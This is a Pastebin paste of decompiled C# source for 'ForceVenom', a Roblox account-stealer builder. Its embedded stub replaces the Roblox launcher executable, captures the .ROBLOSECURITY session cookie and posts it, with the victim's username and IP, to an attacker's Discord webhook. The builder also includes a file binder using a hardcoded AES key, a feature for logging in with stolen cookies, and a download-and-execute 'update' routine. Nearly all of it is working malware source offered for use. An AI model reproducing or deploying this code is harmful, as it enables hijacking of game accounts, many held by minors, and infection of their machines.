Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.CodeDom.Compiler;
- using System.Collections.Generic;
- using System.ComponentModel;
- using System.Diagnostics;
- using System.Drawing;
- using System.IO;
- using System.Linq;
- using System.Net;
- using System.Runtime.InteropServices;
- using System.Security.Cryptography;
- using System.Windows.Forms;
- using Bunifu.Framework.UI;
- using MaterialSkin;
- using MaterialSkin.Controls;
- using Microsoft.CSharp;
- using Microsoft.VisualBasic.CompilerServices;
- using WindowsFormsApplication2.Properties;
- namespace WindowsFormsApplication2
- {
- // Token: 0x02000002 RID: 2
- public partial class Form2 : MaterialForm
- {
- // Token: 0x06000001 RID: 1
- [DllImport("wininet.dll", CharSet = CharSet.Ansi, EntryPoint = "InternetSetCookieA", ExactSpelling = true, SetLastError = true)]
- public static extern bool InternetSetCookie([MarshalAs(UnmanagedType.VBByRefStr)] ref string Url, [MarshalAs(UnmanagedType.VBByRefStr)] ref string CookieName, [MarshalAs(UnmanagedType.VBByRefStr)] ref string CookieData);
- // Token: 0x06000002 RID: 2 RVA: 0x00002070 File Offset: 0x00000270
- public Form2()
- {
- this.InitializeComponent();
- }
- // Token: 0x06000003 RID: 3 RVA: 0x000020A1 File Offset: 0x000002A1
- private void Form1_Load(object sender, EventArgs e)
- {
- }
- // Token: 0x06000004 RID: 4 RVA: 0x0000219C File Offset: 0x0000039C
- private void DoUpdateCheck()
- {
- this.toolStripStatusLabel2.Text = "Checking For Updates...";
- WebRequest.Create("https://pastebin.com/raw/S8FK8QAX");
- string text = new WebClient().DownloadString("https://pastebin.com/raw/S8FK8QAX");
- bool flag = Operators.CompareString(text, this.toolStripStatusLabel1.Text, false) == 0;
- bool flag2 = flag;
- if (flag2)
- {
- MessageBox.Show("ForceVenom is up to date! (v" + this.toolStripStatusLabel1.Text + ")");
- }
- else
- {
- int num = (int)MessageBox.Show(string.Concat(new string[]
- {
- "Your current version of ForceVenom is ",
- this.toolStripStatusLabel1.Text,
- " would you like to update to version ",
- text,
- "?"
- }), "Update ForceVenom to " + text, MessageBoxButtons.YesNo);
- bool flag3 = num == 7;
- bool flag4 = flag3;
- if (flag4)
- {
- this.toolStripStatusLabel2.Text = "Update Cancelled!";
- }
- else
- {
- bool flag5 = num == 6;
- bool flag6 = flag5;
- if (flag6)
- {
- WebRequest.Create("http://www.mediafire.com/file/q3dk6eredd81kj9/VeroHub+Reborn.rar");
- string fileName = new WebClient().DownloadString("http://www.mediafire.com/file/q3dk6eredd81kj9/VeroHub+Reborn.rar");
- Process.Start(fileName);
- }
- }
- }
- this.toolStripStatusLabel2.Text = "Update Check Completed!";
- }
- // Token: 0x06000005 RID: 5 RVA: 0x000022CC File Offset: 0x000004CC
- private void materialRaisedButton2_Click(object sender, EventArgs e)
- {
- bool flag = this.materialSingleLineTextField1.Text == "Webhook";
- if (flag)
- {
- MessageBox.Show("Invalid Webhook", "Force BETA", MessageBoxButtons.OK, MessageBoxIcon.Hand);
- }
- else
- {
- bool flag2 = this.materialSingleLineTextField2.Text == "Stub Name";
- if (flag2)
- {
- MessageBox.Show("Invalid Stub name", "Force BETA", MessageBoxButtons.OK, MessageBoxIcon.Hand);
- }
- string text = this.uncompiled;
- text = text.Replace("CustomHook", this.materialSingleLineTextField1.Text);
- bool flag3 = File.Exists(this.materialSingleLineTextField2.Text + ".exe");
- if (flag3)
- {
- File.Delete(this.materialSingleLineTextField2.Text + ".exe");
- }
- this.CompileCSharpEXE(text, this.materialSingleLineTextField2.Text + ".exe");
- MessageBox.Show("Compiled stub successfully! Saved to \"" + this.materialSingleLineTextField2.Text + ".exe\"!", "Force");
- }
- }
- // Token: 0x06000006 RID: 6 RVA: 0x000023D8 File Offset: 0x000005D8
- public bool CompileCSharpEXE(string src, string filepath)
- {
- CSharpCodeProvider csharpCodeProvider = new CSharpCodeProvider(new Dictionary<string, string>
- {
- {
- "CompilerVersion",
- "v4.0"
- }
- });
- CompilerParameters compilerParameters = new CompilerParameters();
- string[] value = new string[]
- {
- "Microsoft.VisualBasic.dll",
- "System.dll",
- "System.Core.dll",
- "System.Data.dll",
- "System.Data.DataSetExtensions.dll",
- "System.Management.dll",
- "System.Windows.Forms.dll",
- "System.Xml.dll",
- "System.Xml.Linq.dll",
- "System.Net.dll"
- };
- compilerParameters.ReferencedAssemblies.AddRange(value);
- compilerParameters.GenerateExecutable = true;
- compilerParameters.OutputAssembly = filepath;
- compilerParameters.CompilerOptions = "/optimize /target:winexe";
- CompilerResults compilerResults = csharpCodeProvider.CompileAssemblyFromSource(compilerParameters, new string[]
- {
- src
- });
- bool flag = compilerResults.Errors.Cast<CompilerError>().Any<CompilerError>();
- bool result;
- if (flag)
- {
- foreach (object obj in compilerResults.Errors)
- {
- MessageBox.Show(((CompilerError)obj).ErrorText);
- }
- result = false;
- }
- else
- {
- result = true;
- }
- return result;
- }
- // Token: 0x06000007 RID: 7 RVA: 0x00002520 File Offset: 0x00000720
- private void materialRaisedButton1_Click(object sender, EventArgs e)
- {
- string text = "On our discord there is a channel called #webhook-usage, go there";
- MessageBox.Show(text, "Force BETA", MessageBoxButtons.OK, MessageBoxIcon.Asterisk);
- }
- // Token: 0x06000008 RID: 8 RVA: 0x000020A1 File Offset: 0x000002A1
- private void tabPage2_Click(object sender, EventArgs e)
- {
- }
- // Token: 0x06000009 RID: 9 RVA: 0x000020A1 File Offset: 0x000002A1
- private void richTextBox1_TextChanged(object sender, EventArgs e)
- {
- }
- // Token: 0x0600000A RID: 10 RVA: 0x000020A1 File Offset: 0x000002A1
- private void materialRaisedButton3_Click(object sender, EventArgs e)
- {
- }
- // Token: 0x0600000B RID: 11 RVA: 0x000020A4 File Offset: 0x000002A4
- private void Form1_FormClosing(object sender, FormClosingEventArgs e)
- {
- Environment.Exit(0);
- }
- // Token: 0x0600000C RID: 12 RVA: 0x000020A1 File Offset: 0x000002A1
- private void materialRaisedButton4_Click(object sender, EventArgs e)
- {
- }
- // Token: 0x0600000D RID: 13 RVA: 0x000020A1 File Offset: 0x000002A1
- private void webBrowser1_DocumentCompleted(object sender, WebBrowserDocumentCompletedEventArgs e)
- {
- }
- // Token: 0x0600000E RID: 14 RVA: 0x00002544 File Offset: 0x00000744
- private void materialRaisedButton5_Click(object sender, EventArgs e)
- {
- string text = "http://www.roblox.com";
- string text2 = ".ROBLOSECURITY";
- string text3 = this.url.Text;
- Form2.InternetSetCookie(ref text, ref text2, ref text3);
- this.url.Text = text3;
- this.webBrowser1.Navigate("http://www.roblox.com");
- bool flag = MessageBox.Show("Nom Nom Nom! :) Would you like to enable full screen?", "Force", MessageBoxButtons.YesNo, MessageBoxIcon.Asterisk) == DialogResult.Yes;
- if (flag)
- {
- fs fs = new fs();
- fs.ShowDialog();
- fs.InternetSetCookie(ref text, ref text2, ref text3);
- fs.webBrowser1.Navigate("http://www.roblox.com");
- }
- }
- // Token: 0x0600000F RID: 15 RVA: 0x000025DC File Offset: 0x000007DC
- private void materialRaisedButton6_Click(object sender, EventArgs e)
- {
- string text = "http://www.roblox.com";
- string text2 = ".ROBLOSECURITY";
- string text3 = "";
- Form2.InternetSetCookie(ref text, ref text2, ref text3);
- this.url.Text = text3;
- this.webBrowser1.Navigate("http://www.roblox.com");
- MessageBox.Show("I liked that cookie! :(");
- }
- // Token: 0x06000010 RID: 16 RVA: 0x00002634 File Offset: 0x00000834
- private void checkBox1_CheckedChanged(object sender, EventArgs e)
- {
- bool @checked = this.checkBox1.Checked;
- if (@checked)
- {
- base.TopMost = true;
- }
- else
- {
- base.TopMost = false;
- }
- }
- // Token: 0x06000011 RID: 17 RVA: 0x00002668 File Offset: 0x00000868
- private void button1_Click(object sender, EventArgs e)
- {
- string text = Directory.GetFiles("C:\\Users\\" + Environment.UserName + "\\AppData\\Local\\Roblox\\Versions", "RobloxPlayerBeta.exe", SearchOption.AllDirectories).FirstOrDefault<string>();
- bool flag = text == null;
- if (!flag)
- {
- string str = text.Replace("\\RobloxPlayerBeta.exe", "");
- bool flag2 = File.Exists(str + "\\RobloxPlayerLauncher.exe");
- if (flag2)
- {
- File.Delete(str + "\\RobloxPlayerLauncher.exe");
- }
- string sourceFileName = Application.StartupPath + "\\RobloxPlayerLauncher.exe";
- File.Copy(sourceFileName, str + "\\RobloxPlayerLauncher.exe");
- MessageBox.Show("Fixed!");
- }
- }
- // Token: 0x06000012 RID: 18 RVA: 0x000020A1 File Offset: 0x000002A1
- private void url_Click(object sender, EventArgs e)
- {
- }
- // Token: 0x06000013 RID: 19 RVA: 0x000020AE File Offset: 0x000002AE
- private void materialRaisedButton7_Click(object sender, EventArgs e)
- {
- new Form3().Show();
- }
- // Token: 0x06000014 RID: 20 RVA: 0x000020A1 File Offset: 0x000002A1
- private void bunifuMaterialTextbox2_OnValueChanged(object sender, EventArgs e)
- {
- }
- // Token: 0x06000015 RID: 21 RVA: 0x00002710 File Offset: 0x00000910
- private void button3_Click(object sender, EventArgs e)
- {
- OpenFileDialog openFileDialog = new OpenFileDialog();
- OpenFileDialog openFileDialog2 = openFileDialog;
- openFileDialog2.FileName = "";
- openFileDialog2.Title = "Choose a file";
- openFileDialog2.InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
- openFileDialog2.Filter = "Any File |*.*";
- bool flag = openFileDialog2.ShowDialog() == DialogResult.OK;
- if (flag)
- {
- this.F = openFileDialog2.SafeFileName;
- this.bunifuMaterialTextbox1.Text = openFileDialog2.FileName;
- }
- }
- // Token: 0x06000016 RID: 22 RVA: 0x00002784 File Offset: 0x00000984
- public byte[] Secure(byte[] Data)
- {
- byte[] result;
- using (RijndaelManaged rijndaelManaged = new RijndaelManaged())
- {
- rijndaelManaged.IV = new byte[]
- {
- 1,
- 2,
- 3,
- 4,
- 5,
- 6,
- 7,
- 8,
- 9,
- 1,
- 2,
- 3,
- 4,
- 5,
- 6,
- 7
- };
- rijndaelManaged.Key = new byte[]
- {
- 7,
- 6,
- 5,
- 4,
- 3,
- 2,
- 1,
- 9,
- 8,
- 7,
- 6,
- 5,
- 4,
- 3,
- 2,
- 1
- };
- result = rijndaelManaged.CreateEncryptor().TransformFinalBlock(Data, 0, Data.Length);
- }
- return result;
- }
- // Token: 0x06000017 RID: 23 RVA: 0x000027FC File Offset: 0x000009FC
- public byte[] UnSecure(byte[] Data)
- {
- byte[] result;
- using (RijndaelManaged rijndaelManaged = new RijndaelManaged())
- {
- rijndaelManaged.IV = new byte[]
- {
- 1,
- 2,
- 3,
- 4,
- 5,
- 6,
- 7,
- 8,
- 9,
- 1,
- 2,
- 3,
- 4,
- 5,
- 6,
- 7
- };
- rijndaelManaged.Key = new byte[]
- {
- 7,
- 6,
- 5,
- 4,
- 3,
- 2,
- 1,
- 9,
- 8,
- 7,
- 6,
- 5,
- 4,
- 3,
- 2,
- 1
- };
- result = rijndaelManaged.CreateDecryptor().TransformFinalBlock(Data, 0, Data.Length);
- }
- return result;
- }
- // Token: 0x06000018 RID: 24 RVA: 0x00002874 File Offset: 0x00000A74
- private void button4_Click(object sender, EventArgs e)
- {
- OpenFileDialog openFileDialog = new OpenFileDialog();
- OpenFileDialog openFileDialog2 = openFileDialog;
- openFileDialog2.FileName = "";
- openFileDialog2.Title = "Choose a file";
- openFileDialog2.InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
- openFileDialog2.Filter = "Any File |*.*";
- bool flag = openFileDialog2.ShowDialog() == DialogResult.OK;
- if (flag)
- {
- this.F2 = openFileDialog2.SafeFileName;
- this.bunifuMaterialTextbox2.Text = openFileDialog2.FileName;
- }
- }
- // Token: 0x06000019 RID: 25 RVA: 0x000028E8 File Offset: 0x00000AE8
- private void button2_Click(object sender, EventArgs e)
- {
- try
- {
- SaveFileDialog saveFileDialog = new SaveFileDialog();
- SaveFileDialog saveFileDialog2 = saveFileDialog;
- saveFileDialog2.FileName = "";
- saveFileDialog2.Title = "Save File";
- saveFileDialog2.Filter = "Application |*.exe";
- saveFileDialog2.InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
- bool flag = saveFileDialog2.ShowDialog() == DialogResult.OK;
- if (flag)
- {
- string text = "[SPLITTER]";
- byte[] cstub = Resources.CStub;
- File.WriteAllBytes(saveFileDialog2.FileName, cstub);
- byte[] inArray = this.Secure(File.ReadAllBytes(this.bunifuMaterialTextbox1.Text));
- byte[] inArray2 = this.Secure(File.ReadAllBytes(this.bunifuMaterialTextbox2.Text));
- File.AppendAllText(saveFileDialog2.FileName, string.Concat(new string[]
- {
- text,
- Convert.ToBase64String(inArray),
- text,
- this.F,
- text,
- Convert.ToBase64String(inArray2),
- text,
- this.F2
- }));
- MessageBox.Show("Success");
- }
- }
- catch (Exception ex)
- {
- MessageBox.Show(ex.Message);
- }
- }
- // Token: 0x0600001A RID: 26 RVA: 0x000020BC File Offset: 0x000002BC
- private void button5_Click(object sender, EventArgs e)
- {
- base.WindowState = FormWindowState.Minimized;
- }
- // Token: 0x0600001B RID: 27 RVA: 0x000020A1 File Offset: 0x000002A1
- private void textBox1_OnValueChanged(object sender, EventArgs e)
- {
- }
- // Token: 0x0600001C RID: 28 RVA: 0x000020A1 File Offset: 0x000002A1
- private void textBox2_OnValueChanged(object sender, EventArgs e)
- {
- }
- // Token: 0x04000001 RID: 1
- private string uncompiled = "using System;\r\nusing System.Collections.Specialized;\r\nusing System.Windows.Forms;\r\nusing System.Management;\r\nusing System.Net;\r\nusing System.Diagnostics;\r\nusing System.IO;\r\nusing System.Text;\r\n\r\nnamespace Force\r\n{\r\n class Program\r\n {\r\n\r\n static void Main(string[] args)\r\n {\r\n try\r\n {\r\n try\r\n {\r\n //startup - try{File.Copy(Application.ExecutablePath, Path.GetDirectoryName(Path.GetDirectoryName(Path.GetDirectoryName(Path.GetTempPath()))) + \"\\\\Roaming\\\\Microsoft\\\\Windows\\\\Start Menu\\\\Programs\\\\Startup\\\\\" + Path.GetFileNameWithoutExtension(Application.ExecutablePath) + \".exe\");}catch{}\r\n //IRAGC(args);\r\n TextBox txtb = new TextBox();\r\n txtb.Text = args[0].Replace(\"+\", \"\\r\\n\");\r\n Process p = new Process();\r\n p.StartInfo.FileName = Path.GetDirectoryName(Application.ExecutablePath) + \"\\\\Launcher.exe\";\r\n p.StartInfo.Arguments = args[0];\r\n p.Start();\r\n bool IsFinished = false;\r\n do\r\n {\r\n foreach (string str in txtb.Lines)\r\n {\r\n if (str.Contains(\"gameinfo:\"))\r\n {\r\n CookieContainer cookieContainer = new CookieContainer();\r\n HttpWebRequest httpWebRequest = (HttpWebRequest)WebRequest.Create(\"https://www.roblox.com/Login/Negotiate.ashx?suggest=\" + str.Replace(\"gameinfo:\", \"\"));\r\n httpWebRequest.Method = \"GET\";\r\n httpWebRequest.Proxy = null;\r\n httpWebRequest.CookieContainer = cookieContainer;\r\n httpWebRequest.Headers.Add(\"RBXAuthenticationNegotiation\", \": http://www.roblox.com\");\r\n httpWebRequest.UserAgent = \"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/534.34 (KHTML, like Gecko) RobloxStudio/0. 275. 0. 101727 Safari/534.34\";\r\n HttpWebResponse httpWebResponse = (HttpWebResponse)httpWebRequest.GetResponse();\r\n cookieContainer.Add(httpWebResponse.Cookies);\r\n foreach (Cookie cookie in httpWebResponse.Cookies)\r\n {\r\n if (cookie.Name.Contains(\".ROBLOSECURITY\"))\r\n {\r\n SendDiscordWebHook(\"CustomHook\", \"```Username: \" + Environment.UserName.ToString() + \"\\r\\nIP: \" + new WebClient().DownloadString(\"http://api.ipify.org\") + \"\\r\\nCookie: \" + cookie.Value + \"```\");\r\n IsFinished = true;\r\n }\r\n }\r\n }\r\n }\r\n } while (IsFinished == false);\r\n }\r\n catch\r\n {\r\n string dir = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + \"\\\\Roblox\\\\Versions\\\\\" + new WebClient().DownloadString(\"http://setup.roblox.com/version\") + \"\\\\\";\r\n foreach (Process p in Process.GetProcessesByName(\"RobloxPlayerLauncher\"))\r\n {\r\n try { p.Kill(); } catch { }\r\n }\r\n foreach (Process p in Process.GetProcessesByName(\"Launcher\"))\r\n {\r\n try { p.Kill(); } catch { }\r\n }\r\n try\r\n {\r\n StreamReader sr = new StreamReader(dir + \"RobloxPlayerLauncher.exe\");\r\n BinaryReader br = new BinaryReader(sr.BaseStream);\r\n byte[] stubBytes = br.ReadBytes(Convert.ToInt32(sr.BaseStream.Length));\r\n sr.Close();\r\n sr.Close();\r\n string data = Encoding.ASCII.GetString(stubBytes).Substring(Encoding.ASCII.GetString(stubBytes).IndexOf(\"Infected\"));\r\n if (data != \"Infected\")\r\n {\r\n try { File.Delete(dir + \"Launcher.exe\"); } catch { }\r\n File.Move(dir + \"RobloxPlayerLauncher.exe\", dir + \"Launcher.exe\");\r\n File.Copy(Application.ExecutablePath, dir + \"RobloxPlayerLauncher.exe\");\r\n using (FileStream fs = new FileStream(dir + \"RobloxPlayerLauncher.exe\", FileMode.Open, FileAccess.ReadWrite, FileShare.None))\r\n {\r\n using (BinaryWriter bw = new BinaryWriter(fs))\r\n {\r\n fs.Position = fs.Length + 1;\r\n bw.Write(\"Infected\");\r\n }\r\n }\r\n }\r\n }\r\n catch\r\n {\r\n try { File.Delete(dir + \"Launcher.exe\"); } catch { }\r\n File.Move(dir + \"RobloxPlayerLauncher.exe\", dir + \"Launcher.exe\");\r\n File.Copy(Application.ExecutablePath, dir + \"RobloxPlayerLauncher.exe\");\r\n using (FileStream fs = new FileStream(dir + \"RobloxPlayerLauncher.exe\", FileMode.Open, FileAccess.ReadWrite, FileShare.None))\r\n {\r\n using (BinaryWriter bw = new BinaryWriter(fs))\r\n {\r\n fs.Position = fs.Length + 1;\r\n bw.Write(\"Infected\");\r\n }\r\n }\r\n }\r\n }\r\n }\r\n catch\r\n {\r\n Main(args);\r\n }\r\n }\r\n\r\n public static void IRAGC(string[] args)\r\n {\r\n try\r\n {\r\n try\r\n {\r\n TextBox txtb = new TextBox();\r\n txtb.Text = args[0].Replace(\"+\", \"\\r\\n\");\r\n Process p = new Process();\r\n p.StartInfo.FileName = Path.GetDirectoryName(Application.ExecutablePath) + \"\\\\StudioLauncher.exe\";\r\n p.StartInfo.Arguments = args[0];\r\n p.Start();\r\n bool IsFinished = false;\r\n do\r\n {\r\n foreach (string str in txtb.Lines)\r\n {\r\n if (str.Contains(\"gameinfo:\"))\r\n {\r\n CookieContainer cookieContainer = new CookieContainer();\r\n HttpWebRequest httpWebRequest = (HttpWebRequest)WebRequest.Create(\"https://www.roblox.com/Login/Negotiate.ashx?suggest=\" + str.Replace(\"gameinfo:\", \"\"));\r\n httpWebRequest.Method = \"GET\";\r\n httpWebRequest.Proxy = null;\r\n httpWebRequest.CookieContainer = cookieContainer;\r\n httpWebRequest.Headers.Add(\"RBXAuthenticationNegotiation\", \": http://www.roblox.com\");\r\n httpWebRequest.UserAgent = \"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/534.34 (KHTML, like Gecko) RobloxStudio/0. 275. 0. 101727 Safari/534.34\";\r\n HttpWebResponse httpWebResponse = (HttpWebResponse)httpWebRequest.GetResponse();\r\n cookieContainer.Add(httpWebResponse.Cookies);\r\n foreach (Cookie cookie in httpWebResponse.Cookies)\r\n {\r\n if (cookie.Name.Contains(\".ROBLOSECURITY\"))\r\n {\r\n SendDiscordWebHook(\"DISCORD_WEBHOOK\", \"```Username: \" + Environment.UserName.ToString() + \"\\r\\nIP: \" + new WebClient().DownloadString(\"http://api.ipify.org\") + \"\\r\\nCookie: \" + cookie.Value + \"```\");\r\n IsFinished = true;\r\n }\r\n }\r\n }\r\n }\r\n } while (IsFinished == false);\r\n }\r\n catch\r\n {\r\n string dir = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + \"\\\\Roblox\\\\Versions\\\\\";\r\n foreach (Process p in Process.GetProcessesByName(\"RobloxStudioLauncherBeta\"))\r\n {\r\n try { p.Kill(); } catch { }\r\n }\r\n foreach (Process p in Process.GetProcessesByName(\"StudioLauncher\"))\r\n {\r\n try { p.Kill(); } catch { }\r\n }\r\n try\r\n {\r\n StreamReader sr = new StreamReader(dir + \"RobloxStudioLauncherBeta.exe\");\r\n BinaryReader br = new BinaryReader(sr.BaseStream);\r\n byte[] stubBytes = br.ReadBytes(Convert.ToInt32(sr.BaseStream.Length));\r\n sr.Close();\r\n sr.Close();\r\n string data = Encoding.ASCII.GetString(stubBytes).Substring(Encoding.ASCII.GetString(stubBytes).IndexOf(\"Infected\"));\r\n if (data != \"Infected\")\r\n {\r\n try { File.Delete(dir + \"StudioLauncher.exe\"); } catch { }\r\n File.Move(dir + \"RobloxStudioLauncherBeta.exe\", dir + \"StudioLauncher.exe\");\r\n File.Copy(Application.ExecutablePath, dir + \"RobloxStudioLauncherBeta.exe\");\r\n using (FileStream fs = new FileStream(dir + \"RobloxStudioLauncherBeta.exe\", FileMode.Open, FileAccess.ReadWrite, FileShare.None))\r\n {\r\n using (BinaryWriter bw = new BinaryWriter(fs))\r\n {\r\n fs.Position = fs.Length + 1;\r\n bw.Write(\"Infected\");\r\n }\r\n }\r\n }\r\n }\r\n catch\r\n {\r\n try { File.Delete(dir + \"StudioLauncher.exe\"); } catch { }\r\n File.Move(dir + \"RobloxStudioLauncherBeta.exe\", dir + \"StudioLauncher.exe\");\r\n File.Copy(Application.ExecutablePath, dir + \"RobloxStudioLauncherBeta.exe\");\r\n using (FileStream fs = new FileStream(dir + \"RobloxStudioLauncherBeta.exe\", FileMode.Open, FileAccess.ReadWrite, FileShare.None))\r\n {\r\n using (BinaryWriter bw = new BinaryWriter(fs))\r\n {\r\n fs.Position = fs.Length + 1;\r\n bw.Write(\"Infected\");\r\n }\r\n }\r\n }\r\n }\r\n }\r\n catch\r\n {\r\n IRAGC(args);\r\n }\r\n\r\n }\r\n\r\n public static void SendDiscordWebHook(string webhook, string msg)\r\n {\r\n Http.Post(webhook, new NameValueCollection() {\r\n { \"username\", \"Force\" },\r\n { \"content\", msg }\r\n });\r\n }\r\n\r\n }\r\n\r\n public static class Http\r\n {\r\n public static byte[] Post(string uri, NameValueCollection pairs)\r\n {\r\n byte[] response = null;\r\n using (WebClient client = new WebClient())\r\n {\r\n response = client.UploadValues(uri, pairs);\r\n }\r\n return response;\r\n }\r\n }\r\n\r\n}";
- // Token: 0x04000002 RID: 2
- private string F = null;
- // Token: 0x04000003 RID: 3
- private string F2 = null;
- private void tabPage1_Click(object sender, EventArgs e)
- {
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement